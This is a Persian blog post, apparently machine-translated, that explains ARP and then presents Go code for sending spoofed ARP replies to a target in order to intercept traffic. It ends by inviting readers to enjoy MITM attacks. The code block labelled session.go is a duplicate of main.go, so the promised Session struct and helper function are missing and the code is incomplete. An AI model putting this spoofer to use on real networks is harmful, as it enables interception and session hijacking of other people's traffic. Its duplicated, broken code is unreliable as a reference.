Loop Lunatic
Loop Lunatic
خواندن ۹ دقیقه·۳ ماه پیش

حمله ARP Spoofing چیست؟

پروتکل ARP توسط کامپیوترها به‌صورت روزانه یا حتی به‌صورت جزئی استفاده می‌شود. این یک پروتکل بی‌اهمیت است تا رایانه‌ها از آدرس سخت‌افزاری که آدرس MAC نیز نامیده می‌شود، که به آدرس IP مرتبط است، آگاه باشند 192.168.13.37.

این پروتکل، مانند بسیاری دیگر، مستعد حملات جعل است و این چیزی است که در زیر توضیح خواهم داد.

پروتکل ARP

پروتکل Address Resolution Protocol یک پروتکل ارتباطی است که برای کشف آدرس لایه پیوند، مانند یک آدرس سخت‌افزاری، مرتبط با یک آدرس لایه اینترنت معین، معمولاً یک آدرس IPv4 استفاده می‌شود. این نگاشت یک تابع حیاتی در مجموعه پروتکل اینترنت است.

این تعریف به طور مستقیم به اصل مطلب می‌رود، اما من می‌خواهم پروتکل ARP را به روشی گرافیکی‌تر از متن نشان دهم.

پروتکل ARP پروتکلی است که مطمئن می شود با توجه به آدرس IPv4 ، آدرس سخت افزاری مربوطه دستگاه را دریافت خواهید کرد . این بسیار مهم است زیرا سخت‌افزار اترنت با آدرس های سخت افزاری ارتباط برقرار می‌کند نه آدرس های IP.

سناریوی نمونه

بنابراین فرض کنید چهار جزء داریم:

  1. مشتری ، با نام مستعار دستگاه A
  2. روتر
  3. دستگاه B با آدرس IP192.168.13.37
  4. دستگاه C با آدرس IP192.168.13.66

من، مشتری و دستگاه A ، می‌خواهم داده‌ها را به دستگاه B ارسال کنم ، اگرچه فقط آدرس IPv4 آن را می‌دانم. بنابراین اکنون که به آدرس سخت‌افزاری آن نیاز دارم، یک بسته درخواست ARP را در شبکه پخش می‌کنم تا آدرس سخت‌افزاری دستگاه B را دریافت کنم .

دستگاه B تشخیص می‌دهد که من آدرس سخت‌افزاری آن را بر اساس آدرس IPv4 آن درخواست می‌کنم، بنابراین یک بسته ARP Reply را با آدرس سخت‌افزاری خود در داخل برای من ارسال می‌کند.

هنگامی‌که آدرس سخت‌افزار دستگاه را داشته باشم، برای استفاده در آینده در جدول ARP شخصی من ذخیره می‌شود. جدول ARP را می‌توان در ترمینال با دستورات زیر مشاهده کرد:

arp -a

بوییدن با Wireshark

وقتی بسته‌ها را فیلتر می‌کنید، تمام سناریوهای توصیف‌شده در بالا به‌راحتی در Wireshark قابل‌مشاهده هستند:

دربسته‌های بالا قطعاً می‌توانیم ببینیم که دستگاه هواوی به آدرس سخت‌افزاری سه آدرس IPv4 نیاز دارد.

حال اگر آدرس IPv4 در شبکه وجود داشته باشد، دستگاه موردنظر با یک بسته ARP Reply پاسخ خواهد داد . این را می‌توان در Wireshark نیز مشاهده کرد:

در اینجا آدرس سخت‌افزاری دستگاه اپل به دستگاه هواوی ارسال می‌شود و در جدول ARP آن برای کش ذخیره می‌شود.

جعل ARP

اکنون که دانش زمینی پروتکل ARP شناخته شده است، شاید جالب باشد که در نهایت بفهمیم که ARP Spoofing واقعا چیست.

توضیح

تعریف حمله جعل عبارت است از:

درزمینهٔ امنیت اطلاعات و به‌ویژه امنیت شبکه، حمله جعل وضعیتی است که در آن شخص یا برنامه‌ای با جعل داده‌ها با موفقیت به‌عنوان دیگری شناسایی می‌شود تا مزیتی نامشروع به دست آورد.

بنابراین این قبلاً اطلاعات زیادی ازآنچه ARP Spoofing واقعاً چیست به دست می‌دهد. با انجام یک حمله ARP Spoofing با جعل داده‌ها به‌عنوان دستگاه دیگری شناسایی می‌شویم . برخی از افراد ممکن است از قبل بدانند که چگونه این امر ممکن است. مدتی به‌تنهایی به آن فکر کنید و سپس به خواندن ادامه دهید.

اگر به بسته ARP Reply فکر کرده‌اید ، کاملاً درست می‌گویید! این نسبتاً ساده است. بازگشت به استفاده مشروع از سناریوی پروتکل ARP در بالا. ما به‌عنوان مهاجم به‌سادگی بسته‌های ARP Reply را اسپم می‌کنیم و می‌گوییم که ما دستگاهی هستیم که دارای IPv4 192.168.13.37، دستگاه با IPv4 192.168.13.66و غیره است. درنهایت می‌توانیم هر دستگاهی از شبکه باشیم و دستگاه‌های دیگر را فریب دهیم تا بسته‌های آن‌ها را ارسال کنند. به‌جای دستگاه مشروع به ما. به این حمله Man-in-the-Middle می‌گویند.

شایان ذکر است که در طول حمله ARP Spoofing، ممکن است دستگاه حتی بسته‌های درخواست ARP را ارسال نکند ، مهاجم فقط به ارسال هرزنامه ادامه می‌دهد.

عواقب

برخی از پیامدهای اصلی جعل ARP عبارتند از:

  1. Session Hijacking : بسته‌های مربوطه برای مهاجم ارسال می‌شود.
  2. Man-in-the-Middle : علت عواقب Session Hijacking ، زیرا بسته‌ها برای مهاجم ارسال می‌شوند.
  3. DDoS : مهاجم می‌تواند بسته‌های ARP Reply را اسپم کند که نشان می‌دهد آدرس سخت‌افزاری تمام آدرس‌های IPv4 شبکه است 13:de:ad:be:ef:37که منجر به ارسال همه بسته‌ها به یک هدف می‌شود.

کد مثال برای جعل ARP

قبل از پایان دادن به این موضوع، ممکن است جالب باشد که ببینید چگونه خودتان یک حمله ARP Spoofing را انجام دهید و خودتان را آموزش دهید. البته ما می‌توانستیم ابزاری مانند اسکریپت متوسط بچه را دانلود کنیم، اما این بسیار خسته‌کننده است...

هشدار

توجه داشته باشید که بسته به کاری که ممکن است با ARP Spoofing انجام دهید، ممکن است غیرقانونی باشد - به شما هشدار داده‌شده است.

من کلاه‌بردار کوچک ARP خود را در Go کد نویسی کرده‌ام زیرا عاشق این زبان هستم، اگرچه به‌خوبی می‌توان آن را به زبان‌های دیگر، به‌عنوان‌مثال پایتون با Scapy، کدگذاری کرد .

بیا شروع کنیم!

ساختار جلسه

من Sessionساختاری در یک session.goفایل برای ذخیره اطلاعات مرتبط ایجاد کرده ام که بعداً مورد استفاده قرار می گیرد:

package main import ( &quotgithub.com/google/gopacket/pcap&quot &quotnet&quot &quotstrings&quot &quottime&quot ) // Obviously these are not accurate & fictive addresses const ( TargetIP = &quot192.168.13.37&quot TargetMAC = &quot13:de:ad:be:ef:37&quot Timeout = 5 * time.Second TotalPacketsToSend = 15 ) func main() { // Create a new session s := NewSession() // Get the interface ifaces, err := net.Interfaces() if err != nil { s.logger.Fatal(&quotFailed to retrieve interfaces: &quot + err.Error()) return } for _, iface := range ifaces { if iface.HardwareAddr == nil { continue } addrs, err := iface.Addrs() if err != nil { s.logger.Fatal(&quotFailed to retrieve the addresses of the interface: &quot + err.Error()) } for _, addr := range addrs { if strings.Split(addr.String(), &quot/&quot)[0] == s.ip.String() { // Set the current interface & MAC address s.iface = iface s.mac = iface.HardwareAddr break } } } // Get the device to listen to devices, err := pcap.FindAllDevs() if err != nil { s.logger.Fatal(&quotFailed to retrieve devices: &quot + err.Error()) return } for _, device := range devices { for _, address := range device.Addresses { if address.IP.To4().String() == s.ip.String() { s.device = device break } } } // Open the device and be prepared to send the spoofed packets handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever) if err != nil { s.logger.Fatal(&quotFailed to open device: &quot + err.Error()) return } // Prepare the ARP reply packet src := NewAddress(s.ip, s.mac) mac, _ := net.ParseMAC(TargetMAC) dst := NewAddress(net.ParseIP(TargetIP), mac) arpReply, _ := NewARPReplyPacket(src, dst) s.logger.Info(&quotSending spoofed ARP replies to &quot + dst.GetIP().String() + &quot with MAC &quot + dst.GetMAC().String() + &quot every &quot + Timeout.String()) // Send the packets for i := 0; i < TotalPacketsToSend; i++ { err = handler.WritePacketData(arpReply) if err != nil { s.logger.Error(&quotFailed to send packet: &quot + err.Error()) } time.Sleep(Timeout) } }

این getOutboundIPتابع آدرس IP در حال استفاده را حل می کند، در صورت تمایل می توانید آن را سخت کد کنید.

ساخت بسته های پاسخ ARP

برای ایجاد بسته‌های ARP Reply سفارشی، ابتدا باید یک لایه اترنت ایجاد کنیم که حاوی آدرس‌های سخت‌افزار مبدا و مقصد باشد. لایه دومی که به آن نیاز داریم بدیهی است لایه ARP است، در اینجا هم آدرس IPv4 مبدا و مقصد و هم آدرس سخت افزار مقصد را ارائه می دهیم. سپس باید لایه ها را سریال کنیم تا مطمئن شویم که درست هستند، اگر درست هستند، می توانیم بافر را برگردانیم، همه اینها در فایل انجام شده است arp.go:

package main import ( &quotgithub.com/google/gopacket&quot &quotgithub.com/google/gopacket/layers&quot &quotnet&quot ) type Address struct { ip net.IP mac net.HardwareAddr } func NewAddress(ip net.IP, mac net.HardwareAddr) *Address { return &Address{ ip: ip, mac: mac, } } func (a *Address) GetIP() net.IP { return a.ip } func (a *Address) GetMAC() net.HardwareAddr { return a.mac } var Options = gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) { ethLayer := layers.Ethernet{ SrcMAC: src.mac, DstMAC: dst.mac, EthernetType: layers.EthernetTypeARP, } arpLayer := layers.ARP{ AddrType: layers.LinkTypeEthernet, Protocol: layers.EthernetTypeIPv4, HwAddressSize: 6, ProtAddressSize: 4, Operation: layers.ARPReply, SourceHwAddress: src.mac, SourceProtAddress: src.ip.To4(), DstHwAddress: dst.mac, DstProtAddress: dst.ip.To4(), } buffer := gopacket.NewSerializeBuffer() if err := gopacket.SerializeLayers(buffer, Options, ðLayer, &arpLayer); err != nil { return nil, err } return buffer.Bytes(), nil }

اطلاعات

منبع اینجا ما، مهاجم، با IPv4 معمولی و آدرس سخت‌افزاری خود هستیم . و مقصد دستگاهی است که ما می‌خواهیم باشیم ، بنابراین دستگاه هدف ما با نام قربانی .

ارسال بسته ها

مرحله آخر فقط در مورد ارسال بسته‌های دستکاری‌شده در یک حلقه است. اما ابتدا باید رابط کاربری را که می‌خواهیم این‌ها را روی آن ارسال کنیم و همچنین دستگاه را بشناسیم. من چند کد کوچک اضافه کرده‌ام تا ابتدا با مقایسه IP خروجی با IP هر رابط روی دستگاه، رابط را پیدا کنم، پس‌ازاینکه با رابط موردنیاز ما مطابقت داشت.

دانستن نام دستگاهی که بسته‌ها را از طریق آن ارسال می‌کنید همان بازی است، روی همه دستگاه‌ها حلقه می‌زنیم، روی تمام آدرس‌های آن حلقه می‌زنیم IPv4 را بررسی کنید. سپس دستگاه را باز می‌کنیم و سعی می‌کنیم بسته‌های جعلی را ارسال کنیم، همه این‌ها در فایل انجام‌شده است main.go:

package main import ( &quotgithub.com/google/gopacket/pcap&quot &quotnet&quot &quotstrings&quot &quottime&quot ) // Obviously these are not accurate & fictive addresses const ( TargetIP = &quot192.168.13.37&quot TargetMAC = &quot13:de:ad:be:ef:37&quot Timeout = 5 * time.Second TotalPacketsToSend = 15 ) func main() { // Create a new session s := NewSession() // Get the interface ifaces, err := net.Interfaces() if err != nil { s.logger.Fatal(&quotFailed to retrieve interfaces: &quot + err.Error()) return } for _, iface := range ifaces { if iface.HardwareAddr == nil { continue } addrs, err := iface.Addrs() if err != nil { s.logger.Fatal(&quotFailed to retrieve the addresses of the interface: &quot + err.Error()) } for _, addr := range addrs { if strings.Split(addr.String(), &quot/&quot)[0] == s.ip.String() { // Set the current interface & MAC address s.iface = iface s.mac = iface.HardwareAddr break } } } // Get the device to listen to devices, err := pcap.FindAllDevs() if err != nil { s.logger.Fatal(&quotFailed to retrieve devices: &quot + err.Error()) return } for _, device := range devices { for _, address := range device.Addresses { if address.IP.To4().String() == s.ip.String() { s.device = device break } } } // Open the device and be prepared to send the spoofed packets handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever) if err != nil { s.logger.Fatal(&quotFailed to open device: &quot + err.Error()) return } // Prepare the ARP reply packet src := NewAddress(s.ip, s.mac) mac, _ := net.ParseMAC(TargetMAC) dst := NewAddress(net.ParseIP(TargetIP), mac) arpReply, _ := NewARPReplyPacket(src, dst) s.logger.Info(&quotSending spoofed ARP replies to &quot + dst.GetIP().String() + &quot with MAC &quot + dst.GetMAC().String() + &quot every &quot + Timeout.String()) // Send the packets for i := 0; i < TotalPacketsToSend; i++ { err = handler.WritePacketData(arpReply) if err != nil { s.logger.Error(&quotFailed to send packet: &quot + err.Error()) } time.Sleep(Timeout) } }

هنگام اجرای ابزار کوچک، به وضوح می‌توانیم حمله ARP Spoofing را هنگام باز کردن Wireshark مشاهده کنیم:

نتیجه

جعل ARP بسته به سناریو می‌تواند منجر به عواقب جدی شود، اگرچه پروتکل ARP استفاده قانونی نیز دارد، بنابراین نمی‌توانید کل پروتکل ARP را مسدود کنید. برخی از اقدامات کاهشی در برابر حملات ARP Spoofing وجود دارد که من به‌طور خلاصه آن‌ها را نمی‌دانم، اما به‌راحتی می‌توان آن‌ها را هنگام جستجو در گوگل به‌تنهایی پیدا کرد. درعین‌حال، از انجام برخی از حملات MITM لذت ببرید.

arp spoofingحمله arp
از طریق این وبلاگ، قصد دارم دانش و بینش خود را در مورد دنیای کامپیوتر و توسعه نرم افزار با شما به اشتراک بگذارم.
شاید از این پست‌ها خوشتان بیاید